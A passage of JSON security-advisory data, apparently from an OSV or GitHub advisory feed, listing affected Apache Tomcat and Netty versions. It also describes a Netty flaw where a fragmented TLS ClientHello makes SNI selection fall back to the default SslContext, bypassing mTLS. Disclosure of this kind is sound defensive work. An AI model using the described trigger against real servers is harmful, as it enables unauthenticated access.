"10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0.M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.30" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.35", "7.0.37", "7.0.39", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0.M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.30" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.30", "7.0.32", "7.0.33", "7.0.34", "7.0.35", "7.0.37", "7.0.39", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0.M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.30" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.30", "7.0.32", "7.0.33", "7.0.34", "7.0.35", "7.0.37", "7.0.39", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ] }, { "id": "GHSA-c4c3-7fpv-j4q5", "summary": "Netty: SNI Routing Bypass via Fragmented TLS ClientHello Causing Fallback to Default SslContext", "details": "### Summary\nA fragmented TLS ClientHello whose handshake header spans multiple records makes Netty silently fall back to the default SslContext; where per-SNI selection is the sole mTLS gate, an unauthenticated attacker can bypass the route's mTLS requirement.\n\n### Details\nIn `io.netty.handler.ssl.SslClientHelloHandler#decode` the guard that should wait for the 4-byte handshake header checks the wrong offset - it ignores the 5-byte record header that precedes it - and therefore never fires:\n\n```java\nif (handshakeLength == -1) {\n if (readerIndex + 4 > endOffset) {\n // Need more data to read HandshakeType and handshakeLength (4 bytes)\n return;\n }\n```\n\nWhen the first record's payload is < 4 bytes, `handshakeLength = in.getUnsignedMedium(readerIndex + SslUtils.SSL_RECORD_HEADER_LENGTH + 1);` leads to `IndexOutOfBoundsException `. That is caught by the generic `catch (Exception)` block, which calls `select(ctx, null)` - this is the default `SslContext`. Fallback to default on parse failure is a problem when per-SNI selection is the sole mTLS gate.\n\n### Impact\nSNI routing bypass. Escalates to an unauthenticated mTLS bypass only when:\n- mTLS is enforced solely via per-SNI SslContext (clientAuth=REQUIRE)\n- the default/fallback SslContext is permissive (clientAuth=NONE/OPTIONAL)\n- no secondary peer-certificate verification exists at the application layer.", "aliases": [ "CVE-2026-75595" ], "modified": "2026-09-08T18:27:48.571082951Z", "published": "2026-09-08T18:16:14Z", "database_specific": { "github_reviewed": true, "github_reviewed_at": "2026-09-08T18:16:14Z", "nvd_published_at": "2026-08-19T21:17:37Z", "cwe_ids": [ "CWE-475", "CWE-754" ], "severity": "CRITICAL" }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-c4c3-7fpv-j4q5" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75595" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17213" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17217" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/1b5abc6443b63726c72cdd285af2feb7ddbb8ff7" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/9e0519239108a69b7e9bbc5e9182ee139a0d7961" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.1.137.Final" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.2.17.Final" } ], "affected": [ { "package": { "name": "io.netty:netty-handler", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-handler" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.2.0.Final" }, { "fixed": "4.2.17.Final" } ] } ], "versions": [ "4.2.0.Final", "4.2.1.Final", "4.2.10.Final", "4.2.11.Final", "4.2.12.Final", "4.2.13.Final", "4.2.14.Final", "4.2.15.Final", "4.2.16.Final", "4.2.2.Final", "4.2.3.Final", "4.2.4.Final", "4.2.5.Final", "4.2.6.Final", "4.2.7.Final", "4.2.8.Final", "4.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "<= 4.2.16.Final", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-c4c3-7fpv-j4q5/GHSA-c4c3-7fpv-j4q5.json" } }, { "package": { "name": "io.netty:netty-handler", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-handler" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.137.Final" } ] } ], "versions": [ "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8", "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.100.Final", "4.1.101.Final", "4.1.102.Final", "4.1.103.Final", "4.1.104.Final", "4.1.105.Final", "4.1.106.Final", "4.1.107.Final", "4.1.108.Final", "4.1.109.Final", "4.1.11.Final", "4.1.110.Final", "4.1.111.Final", "4.1.112.Final", "4.1.113.Final", "4.1.114.Final", "4.1.115.Final", "4.1.116.Final", "4.1.117.Final", "4.1.118.Final", "4.1.119.Final", "4.1.12.Final", "4.1.120.Final", "4.1.121.Final", "4.1.122.Final", "4.1.123.Final", "4.1.124.Final", "4.1.125.Final", "4.1.126.Final", "4.1.127.Final", "4.1.128.Final", "4.1.129.Final", "4.1.13.Final", "4.1.130.Final", "4.1.131.Final", "4.1.132.Final", "4.1.133.Final", "4.1.134.Final", "4.1.135.Final", "4.1.136.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.68.Final", "4.1.69.Final", "4.1.7.Final", "4.1.70.Final", "4.1.71.Final", "4.1.72.Final", "4.1.73.Final", "4.1.74.Final", "4.1.75.Final", "4.1.76.Final", "4.1.77.Final", "4.1.78.Final", "4.1.79.Final", "4.1.8.Final", "4.1.80.Final", "4.1.81.Final", "4.1.82.Final", "4.1.83.Final", "4.1.84.Final", "4.1.85.Final", "4.1.86.Final", "4.1.87.Final", "4.1.88.Final", "4.1.89.Final", "4.1.9.Final", "4.1.90.Final", "4.1.91.Final", "4.1.92.Final", "4.1.93.Final", "4.1.94.Final", "4.1.95.Final", "4.1.96.Final", "4.1.97.Final", "4.1.98.Final", "4.1.99.Final" ], "database_specific": { "source": 